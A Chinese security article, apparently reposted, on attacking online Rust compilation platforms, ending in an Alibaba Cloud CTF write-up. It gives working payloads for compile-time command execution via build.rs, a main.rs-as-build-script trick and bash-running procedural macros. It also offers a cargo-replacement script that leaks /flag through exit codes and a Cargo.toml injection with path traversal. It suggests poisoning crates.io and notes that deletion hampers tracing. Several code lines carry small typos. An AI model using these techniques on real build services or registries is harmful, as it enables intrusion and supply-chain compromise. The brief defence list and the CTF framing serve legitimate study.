ust编译平台常见攻击利用方法
近年来,随着 Rust 语言在高性能、内存安全等领域的优势被广泛认可,越来越多的开发者选择将其应用于后端开发,尤其在 WebAssembly、微服务和高并发场景中表现亮眼。
然而,Rust 生态的快速扩张也带来了新的安全挑战:尽管语言本身通过所有权机制规避了内存安全问题,但 Web 应用层的逻辑漏洞(如 SQL 注入、身份验证绕过)、第三方库的潜在缺陷(如未充分审计的 unsafe
代码滥用)以及对安全实践的过度自信(如忽略输入验证或错误配置 CORS 策略),正在导致 Rust 相关的 Web 安全问题逐渐浮出水面。
社区亟需在享受 Rust 底层安全红利的同时,建立更完善的安全开发规范,加强依赖库审计,并推动 Web 框架的漏洞响应机制,以应对日益复杂的安全威胁。而生活中在线编译的环境随处可见,非常容易成为被攻击的重点对象,而本次就是在阿里 CTF 中出现的一道 Rust 编译类题目,故总结了一套相关的相关知识。
相关rust项目结构知识
在 Rust 生态中,Cargo.toml
文件如同项目的中枢神经,扮演着至关重要的**清单(Manifest)**角色。其不仅是一份静态的配置文件,还是是开发者与 Rust 编译工具链(Cargo)之间的核心。通过 toml,开发者能够以声明式语法精确控制项目——从定义包元数据(如版本、作者、许可证)、声明依赖关系(通过本地路径、Git 仓库或官方注册表[crates.io]引入第三方 crate),到定制编译策略(如特性开关、优化级别、目标平台配置),甚至扩展自定义构建脚本。
实现跨项目引用的核心机制,则隐藏在 Cargo.toml
的特定字段中:
dependence引用
[dependencies]项目名称 = {path = "本地路径"}项目名称 = {git = "git项目地址"}项目名称 = {version = "版本"}
workspace
若你提到的是管理多个关联的包(多 crate 项目),Cargo 提供了 [workspace] 配置,允许在单一仓库中组织多个 crate,共享依赖和构建缓存。
[workspace]members = [ "crate1", # 子 crate 的目录名 "crate2", "examples/*", # 支持通配符]resolver = "2" # 可选:统一依赖解析器
引用本地过程
Rust 的过程宏(Procedural Macros)是元编程(metaprogramming)的核心工具之一,允许开发者在编译时对代码进行动态生成和转换。与声明宏(Declarative Macros)不同,过程宏通过自定义代码逻辑直接操作抽象语法树(AST),实现更复杂的代码生成能力。以下是过程宏的深度解析,而我们也可以通过 Cargo.toml
对其进行引用。
那么如果现在存在一个文件夹拥有如下的 Rust 项目的文件夹。
├─testaaa│ ├─.idea│ ├─src│ └─Cargo.toml│ └─testbbb ├─.idea ├─src └─Cargo.toml
那么此时可以通过在 testaaa 项目的 Cargo.toml 中使用以下配置来对其他的过程宏项目进行引用。
[lib]proc-macro = turepath = "../[项目名称]/xx.rs"
利用test宏快速白盒审计
Rust 的 test 宏提供了便捷的测试的方式,提供简单的 test 宏即可对单个函数到多个项目的调试,可以在 main.rs 以外的 rs 文件下添加以下代码:
#[cfg(test)]mod tests{ #[test] fn test1(){ // 写入测试函数 } #[test] fn test2(){ // 写入测试函数 }}
我们可以在其中写入我们想要审计的函数并赋予一定的逻辑和参数,然后执行 cargo test 即可完成快速的代码审计测试。
cargo中的特性利用
在有的编译平台中,代码并不会在平台进行执行,而是仅对文件编译后再提供下载,那么这种情况下我们需要利用一定的 cargo 特性,来对其进行利用(如编译期执行)。
编译执行
Rust 的编译存在以下三种执行:
-
过程宏编译执行
-
build.rs 执行
-
编译时计算(不能利用)const fn
而其中 build 构建执行和过程宏编译时执行是常可以利用的项,它们可以实现编译时期无需运行来进行命令执行。
利用Cargo.toml实现main.rs自执行
很多时候我们无法自己创建 build.rs,但是可以利用 Cargo.toml 中的选项。
build = "路径"
我们可以将 build 的路径换成任何我们想要的 rs 文件(**包括 main.rs !**我们可以通过这点在很多有限制的地方进行执行)从而实现 build.rs 执行。
创建一个项目,在 Cargo.toml 中写入以下内容,让 main.rs 本身变为 build 脚本:
build = "main.rs"
然后在项目中写入以下内容,这里是在当前目录下创建如下测试文件:
fn main() { fs::OpenOptions::new().append(true).create(true).open("./test.rs").unwrap(); }
然后使用 Cargo build 进行仅编译,但我们会发现,即使没有执行的情况下,还是生成了对应的文件。利用这个特性,我们可以将其中生成修改为任意危险操作,亦或是捕获编译机目录、编译时代码名称等等等等。但是要注意的一点是,如果之间进行反弹 shell 的情况下会导致编译异常而被强行中断。
crates.io投毒
不只是利用本地的 build 脚本,前面我们提到过 Rust 的依赖选项,Rust 通过从 crates.io 下载源码或读取本机的源码编译。由于 cargo 编译时会执行自身及其依赖的 build 脚本,这些 crates 中的 build.rs 文件也会进行运行。我们通过在上传的库中的 build.rs 放入相关危险代码,然后在上传编译平台的代码中引用,也能实现同样的功能。(现在 crates.io 上传的库可以进行删除,溯源的可能性大幅度降低)。
crates 上传教程发布到 crates.io - Rust语言圣经(Rust Course)
利用过程宏
前面提到过,在 Rust 的编译期中过程宏也会进行运行,但往往上传编译并不会给我们一个上传完整的项目的机会,而通过单文件在 Cargo.toml 中启用过程宏这个方法,这里巧妙的是,cargo 会直接对 path 的目标文件进行 rustc 编译,也就是说,即使目标文件的结构并不符合 Rust 项目的标准,只要 Rust 代码没有错误都可以将其作为过程宏生成。如此一来我们遍可以在项目 a 的 main.rs 里实现过程宏,虽然不能被正常编译,但是可以在项目 b 中引用,从而实现编译。
我们可以在过程宏中构建以下代码,来进行危险操作,然后以 main.rs 上传第一次代码,此时我们是不需要配置 toml 的,当然这个编译也是不被通过的。
use proc_macro::TokenStream;use std::process::Command;#[proc_macro]pub fn some_macro(_item: TokenStream) -> TokenStream { let output = Command::new("/bin/bash") .args(&["—c", "*"]) //*中替换利用代码 .output() .unwrap() .stdout; format!("fn some_function(){}").parse().unwrap()?}
之后我们只需要通过其他手段获得当前文件的名称与路径,再将路径放入第二个编译项目的 toml 中:
[lib]proc-macro = turepath = "*" //*替换为宏文件路径
此时编译第二个文件就将会执行第一次上传文件的代码了。过程宏编写指南
不稳定的特性
如果编译目标机器是属于 nightly 或可以对项目外的部分进行改写,那么就可以使用 cargo 的一些其他危险特性,如 metabuild 等等。
Cargo不稳定特性
平台环境判断
排除上文所说不执行的情况,平台提供执行功能的可能性还是要更高一些,一般来说这些编译平台都会再 docker 中运行,此时,我们需要去获取更多的信息,对当前的平台信息一些获取,才能更好的进一步利用。
判断系统和架构
std::env::consts::OS//如果env被禁用可以使用宏来判断fn target_os() { #[cfg(target_os = "linux")] println!("Linux"); #[cfg(target_os = "windows")] println!("Windows");}
读取指定文件夹目录
可以提供读取目录来判断是否处于 docker 环境:
use std::{fs, io, path::Path};// 仅读取当前目录fn directories<P: AsRef<Path>>(path: P) -> io::Result<Vec<String>> { let mut dirs = Vec::new(); for entry in fs::read_dir(path)? { let entry = entry?; let path = entry.path(); // 判断是否为目录(不跟随符号链接) if entry.file_type()?.is_dir() { dirs.push(path.display().to_string()); } } Ok(dirs)}// 读取目录以及子目录fn directories<P: AsRef<Path>>(path: P) -> io::Result<Vec<String>> { let mut dirs = Vec::new(); for entry in fs::read_dir(path)? { let entry = entry?; let path = entry.path(); // 判断是否为目录(不跟随符号链接) if entry.file_type()?.is_dir() { let dir_path = path.display().to_string(); dirs.push(dir_path.clone()); // 递归子目录 let sub_dirs = list_all_directories(&path)?; dirs.extend(sub_dirs); } } Ok(dirs)}
命令执行
通过执行命令来进行环境信息收集:
//一次性返回fn com_run(){ let output = Command::new("echo") .arg("dDostalker~") .output() // 捕获输出(stdout/stderr) .expect("Command failed"); println!("STDOUT: {}", String::from_utf8_lossy(&output.stdout)); println!("STDERR: {}", String::from_utf8_lossy(&output.stderr));}// 逐行处理fn com_run(){ let mut child = Command::new("ping") .arg("dDostalker.github.io") .stdout(Stdio::piped()) // 重定向标准输出到管道 .spawn() // 启动子进程 .expect("Failed to start command"); let stdout = child.stdout.take().unwrap(); let reader = BufReader::new(stdout); for line in reader.lines() { println!("{}", line.unwrap()); } let status = child.wait().expect("wait command error"); println!("exit error: {}", status);}
替换编译器
在很多情况我们并不能正常回显或是不能正常的触发一个程序,这种情况下我们改那么我们可以通过"挖空"程序本体,换入我们的代码,这样一来,程序就可以通过下一次调用的流程的来触发。
开始编译->Cargo->rustc将cargo替换后开始编译->Cargo(自设指令)
以下是 linux 中 rustc 和 cargo 的常见位置:
系统级
~/.cargo/bin/ # rustc, cargo, rustup 等可执行文件~/.cargo/registry/ # 下载的依赖缓存~/.cargo/config.toml # Cargo 配置文件
用户级
~/.rustup/toolchains/ # 不同版本工具链# 例如:~/.rustup/toolchains/stable-x86_64-unknown-linux-gnu/~/.rustup/toolchains/nightly-x86_64-unknown-linux-gnu/~/.cargo/bin/ # rustc, cargo, rustup 等可执行文件~/.cargo/registry/ # 下载的依赖缓存~/.cargo/config.toml # Cargo 配置文件
下面就是一个替换内容的例子,我们可以通过 cargo 特性利用内容中的方法,执行 Rust 代码将 cargo 替换为以下的脚本,这个脚本将会把 flag 作为错误状态码依次返回(运行一次返回一次),我们便可以通过不断运行编译流程,此时返回的错误码就为 flag 的 ascii 码。
#!/bin/shSTATE="/tmp/state.txt"if [ ! -f "$STATE" ]; then echo 0 > "$STATE"fiFLAG=$(cat /flag)IDX=$(cat "$STATE")CHAR=$(echo "$FLAG" | cut -c$((IDX + 1)))if [ -z "$CHAR" ]; then exit 255fiASCII=$(printf "%d" "'$CHAR")NEXT_IDX=$((IDX + 1))echo "$NEXT_IDX" > "$STATE"exit $ASCII
例题分析:Rust Action CTF题目
题目来源: 阿里云CTF
见附件
题目背景
题目模拟了一个简化版的GitHub Action系统,主要功能包括:
-
/jobs/list
: 列出所有Job
-
/jobs/upload
: 上传Job的zip压缩包
-
/jobs/{id}/run
: 运行指定Job
-
/artifacts/list
: 列出所有构建产物
-
/artifacts/{id}
: 下载指定构建产物
漏洞分析
系统配置文件(config.toml)存在以下关键配置:
[workflow.security]files = ['main.rs'] # 仅允许操作main.rs文件runs = ["cargo build", "cargo build --release"] # 允许执行的命令
主要漏洞点在于route::upload_job
函数中不安全的Cargo.toml生成方式:
let cargo_toml = format!( include_str!("../templates/Cargo.toml.tpl"), name = job.config.name, version = job.config.version, edition = job.config.edition, description = job.config.description // 存在注入漏洞);
漏洞利用步骤
-
发现注入点:
-
Cargo.toml模板使用format!宏拼接,但未对description字段进行转义
-
可通过description字段注入任意Cargo.toml配置
-
绕过文件限制:
-
系统限制只能操作main.rs文件
-
但过程宏需要lib.rs和main.rs两个文件
-
解决方案:上传两个Job,利用路径穿越引用
-
具体利用过程:Job A (定义过程宏):
job: name: macro-definer mode: release config: name: macro-definer version: "0.1.0" edition: "2021" description: "正常描述" files: - main.rs # 包含过程宏定义 run: cargo build --release
use proc_macro::TokenStream;use std::process::Command;#[proc_macro]pub fn execute_command(_item: TokenStream) -> TokenStream { let output = Command::new("/bin/bash") .args(&["-c", "/readflag"]) .output() .unwrap() .stdout; let s = String::from_utf8(output).unwrap(); format!("fn get_flag() -> String {{ "{}".to_string() }}", s) .parse() .unwrap()}
Job B (触发过程宏):
job: name: macro-executor mode: release config: name: macro-executor version: "0.1.0" edition: "2021" description: |- [lib] proc-macro = true path = "../../../../../../app/jobs/<JobA_ID>/files/main.rs" files: - main.rs # 调用过程宏 run: cargo build --release
由于Cargo存在777权限,通过在过程宏执行命令将替换Cargo文件为以下代码的sh文件
#!/bin/shSTATE="/tmp/state.txt"if [ ! -f "$STATE" ]; then echo 0 > "$STATE"fiFLAG=$(cat /flag)IDX=$(cat "$STATE")CHAR=$(echo "$FLAG" | cut -c$((IDX + 1)))if [ -z "$CHAR" ]; then exit 255fiASCII=$(printf "%d" "'$CHAR")NEXT_IDX=$((IDX + 1))echo "$NEXT_IDX" > "$STATE"exit $ASCII
替换后每次编译执行的错误代码即为flag
防御建议
-
对Cargo.toml模板中的用户输入进行严格过滤
-
限制path字段的路径访问范围
-
禁止proc-macro等危险特性
-
在沙箱环境中执行编译过程
参考文献
1.阿里云CTF官方wp
2.rust圣经https://course.rs/
转自:https://xz.aliyun.com/news/17521?time__1311=eqUxn7DQDt0QY0KDsoOxpQDOKoYY5%3Dqdx&u_atoken=4240ec7b375dc38c86480e04398fb770&u_asig=1a0c399817440421070974983e0047
原文始发于微信公众号(船山信安):rust编译平台常见攻击利用方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论